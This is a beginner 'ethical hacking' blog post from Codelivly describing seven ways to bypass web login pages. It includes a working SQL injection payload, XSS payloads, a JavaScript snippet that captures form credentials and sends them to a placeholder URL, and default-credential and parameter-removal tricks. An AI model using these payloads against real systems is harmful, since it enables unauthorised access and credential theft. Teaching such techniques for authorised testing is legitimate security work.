1c:I[73356,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogArticleEnhancements"] 1d:I[53721,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogViewTracker"] 1f:I[97042,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogToc"] 24:I[54324,[],"IconMark"] :HL["https://codelivly.com/wp-content/uploads/2023/02/maxresdefault.jpg","image"] 20:T24cc,

Hello to all beginner bug hunting fellows. This is Rocky, today i came with an another blog on login page. This blog is about bypassing the login page functionality which happens due to the weaknesses of the site. There are many ways to bypass login page functionality but in this blog we are discussing about some common ways. So let’s start…..

We are talking about these seven ways —

Bypass by SQL Injection
By Cross Site Scripting(XSS)
By Manipulating the Response
Bypass by Brute Force Attack
Bypass by Directory Fuzzing Attack
Bypass by Default credentials
By Removing Parameter in Request

Bypass by SQL Injection

I am taking an example of Mutillidae for demonstration.

So now we can put the SQL injection payload in it. For this syntax error the payload is “ ‘ or 1=1- -” now let’s see what happen when enter it.

Boooom!! we are logged in as an admin. In your case try other payloads when it not working and also use SQLMap tool for dump the usernames and passwords.

By Cross Site Scripting(XSS)

Enter the xss payload <script>alert(1)</script> and it shows the popup, so you can try CSRF via XSS and see the victims credentials. This is the CSRF payload for it —

<script>
function intercept() {

 var user = document.forms[0].elements[0].value;
 var pass = document.forms[0].elements[1].value;


 var xhr = new XMLHttpRequest();

 xhr.open("GET", "https://your-target-url?username/email="+user+"&password="+pass)
 xhr.send();
return false;
 }
 document.forms[0].onsubmit = intercept;

</script>

By Manipulating the Response

This method mainly based on Response Status code manipulation and Response Body manipulation. First of all make an account on your target then login with correct credentials and intercepts request in burp suite and analyze the response after that you try to login with wrong credentials and manipulate the response as you see it with your correct credentials like

403 Forbidden
<redacted>
{"error":true, "message":"Invalid Token"}

200 OK
<redacted>
{"success":true}

If this weakness is exist you will be logged in on site.

Bypass by Brute Force Attack

This attack mainly occur when site does not set the time limit and repeating limit, basically does not set time delay function on login page. When you enter repeatedly wrong credentials and site show the time like enter credentials after 5 minutes. When site show this kind of error so it difficult to do this method. I have written a blog about brute force attack, its link is given below see it how to do this attack.

Bypass by Directory Fuzzing Attack

In this method, we try to do directory brute forcing with the help some tools like ffuf, dirbuster and burp suite intruder etc. Most of the tools have its own directory wordlist but when its not have wordlist so in linux it have own wordlist you use them for windows you can search on google.

In this attack may be possible, tool can find any directory or subdirectory which show useful response or open any page which only open when you logged in site. I have used the FFUF tool in this blog you can see how it works.

Bypass by Default credentials

When the developer creates the site, he creates some default credentials for testing and many times it happens that he removes it or many times he does not remove it from the record. And when the site allows any password to be entered, many users can enter weak passwords and site accept it. So you should try the default credentials. Default credentials lists become easily available on Google. Default credentials like admin:admin, admin:password, username:pass12345 etc.

By Removing Parameter in Request

When you enter wrong credentials the site shows error like username and password is incorrect/does not match, password is incorrect for this username etc, this type of response is shown by the site so can try this method Huh. First you intercept the request and remove the password parameter in the request and forward the request. Then the server sees that the username is available and logs you in to the site. This problem occurs when the server does not analyze the request properly.

These are some ways hopefully you enjoy it and learn something new with this blog. So that’s it for today’s blog, see you in the next blog. Thank You For Reading.

9:[["$","$L1c",null,{}],["$","$L1d",null,{"slug":"seven-common-ways-to-bypass-login-page"}],"$L1e",["$","div",null,{"className":"mx-auto max-w-6xl px-4 py-10 sm:px-6 sm:py-12","children":["$","div",null,{"className":"lg:grid lg:grid-cols-[minmax(0,1fr)_320px] lg:gap-10 xl:gap-12","children":[["$","article",null,{"id":"blog-content","className":"blog-content min-w-0 max-w-3xl","children":[["$","nav",null,{"className":"font-mono mb-6 text-xs text-[var(--hm-muted)]","children":[["$","$L1a",null,{"href":"/","className":"text-[var(--hm-muted)] no-underline hover:text-[var(--hm-mint)]","children":"Home"}],["$","span",null,{"className":"mx-2","children":"/"}],["$","$L1a",null,{"href":"/blog","className":"text-[var(--hm-muted)] no-underline hover:text-[var(--hm-mint)]","children":"Blog"}],["$","span",null,{"className":"mx-2","children":"/"}],["$","span",null,{"className":"text-[var(--hm-text)]","children":"Seven Common Ways To Bypass Login Page"}]]}],["$","header",null,{"className":"mb-8","children":[["$","div",null,{"className":"mb-6 overflow-hidden rounded-[2px] border border-[var(--hm-border)]","children":["$","img",null,{"src":"https://codelivly.com/wp-content/uploads/2023/02/maxresdefault.jpg","alt":"Seven Common Ways To Bypass Login Page","className":"aspect-[16/9] w-full object-cover"}]}],["$","div",null,{"className":"mb-4 flex flex-wrap gap-2","children":[["$","span",null,{"className":"font-mono rounded-[2px] border border-[var(--hm-mint)]/30 bg-[var(--hm-mint)]/10 px-2.5 py-1 text-[11px] uppercase tracking-wider text-[var(--hm-mint)]","children":"Ethical hacking"}],[]]}],["$","h1",null,{"className":"font-display text-3xl font-bold leading-tight tracking-[-0.01em] text-[var(--hm-text-strong)] sm:text-[2.5rem]","children":"Seven Common Ways To Bypass Login Page"}],["$","p",null,{"className":"mt-4 text-base leading-relaxed text-[var(--hm-muted)]","children":"Hello to all beginner bug hunting fellows. This is Rocky, today i came with an another blog on login page. This blog is about bypassing the login page functionality which happens due to the weaknesses"}],["$","div",null,{"className":"mt-5 flex flex-wrap items-center gap-x-3 gap-y-2 border-t border-[var(--hm-border)] pt-5 font-mono text-xs text-[var(--hm-muted)]","children":[["$","span",null,{"className":"flex items-center gap-2","children":[["$","span",null,{"aria-hidden":true,"className":"flex h-7 w-7 items-center justify-center rounded-full border border-[var(--hm-ring)] bg-[rgba(0,230,118,0.08)] text-[11px] font-bold text-[var(--hm-mint)]","children":"R"}],["$","span",null,{"className":"text-[var(--hm-text)]","children":"rocky"}]]}],["$","span",null,{"aria-hidden":true,"children":"·"}],["$","time",null,{"dateTime":"2023-02-04T14:03:42.000Z","children":"Feb 4, 2023"}],[["$","span",null,{"aria-hidden":true,"children":"·"}],["$","span",null,{"children":[4," min read"]}]]]}]]}],["$","$L1f",null,{"items":[{"id":"bff3","text":"We are talking about these seven ways —","depth":1}]}],["$","div",null,{"className":"blog-prose text-base leading-relaxed text-[var(--hm-text)]","children":["$","div",null,{"dangerouslySetInnerHTML":{"__html":"$20"}}]}],false,"$L21","$L22"]}],"$L23"]}]}]] c:null 11:[["$","title","0",{"children":"Seven Common Ways To Bypass Login Page | Codelivly"}],["$","meta","1",{"name":"description","content":"Hello to all beginner bug hunting fellows. This is Rocky, today i came with an another blog on login page. This blog is about bypassing the login page…"}],["$","meta","2",{"name":"author","content":"Codelivly Team"}],["$","meta","3",{"name":"creator","content":"Codelivly"}],["$","meta","4",{"name":"publisher","content":"Codelivly"}],["$","meta","5",{"name":"robots","content":"index, follow"}],["$","link","6",{"rel":"canonical","href":"https://codelivly.com/seven-common-ways-to-bypass-login-page"}],["$","link","7",{"rel":"alternate","hrefLang":"en-US","href":"https://codelivly.com/seven-common-ways-to-bypass-login-page"}],["$","meta","8",{"property":"og:title","content":"Seven Common Ways To Bypass Login Page | Codelivly"}],["$","meta","9",{"property":"og:description","content":"Hello to all beginner bug hunting fellows. This is Rocky, today i came with an another blog on login page. This blog is about bypassing the login page…"}],["$","meta","10",{"property":"og:url","content":"https://codelivly.com/seven-common-ways-to-bypass-login-page"}],["$","meta","11",{"property":"og:site_name","content":"Codelivly"}],["$","meta","12",{"property":"og:locale","content":"en_US"}],["$","meta","13",{"property":"og:image","content":"https://codelivly.com/wp-content/uploads/2023/02/maxresdefault.jpg"}],["$","meta","14",{"property":"og:image:width","content":"1200"}],["$","meta","15",{"property":"og:image:height","content":"630"}],["$","meta","16",{"property":"og:type","content":"article"}],["$","meta","17",{"name":"twitter:card","content":"summary_large_image"}],["$","meta","18",{"name":"twitter:creator","content":"@codelivly"}],["$","meta","19",{"name":"twitter:title","content":"Seven Common Ways To Bypass Login Page | Codelivly"}],["$","meta","20",{"name":"twitter:description","content":"Hello to all beginner bug hunting fellows. This is Rocky, today i came with an another blog on login page. This blog is about bypassing the login page…"}],["$","meta","21",{"name":"twitter:image","content":"https://codelivly.com/wp-content/uploads/2023/02/maxresdefault.jpg"}],["$","link","22",{"rel":"shortcut icon","href":"/favicon.svg"}],["$","link","23",{"rel":"icon","href":"/favicon.svg"}],["$","link","24",{"rel":"apple-touch-icon","href":"/favicon.svg"}],["$","$L24","25",{}]]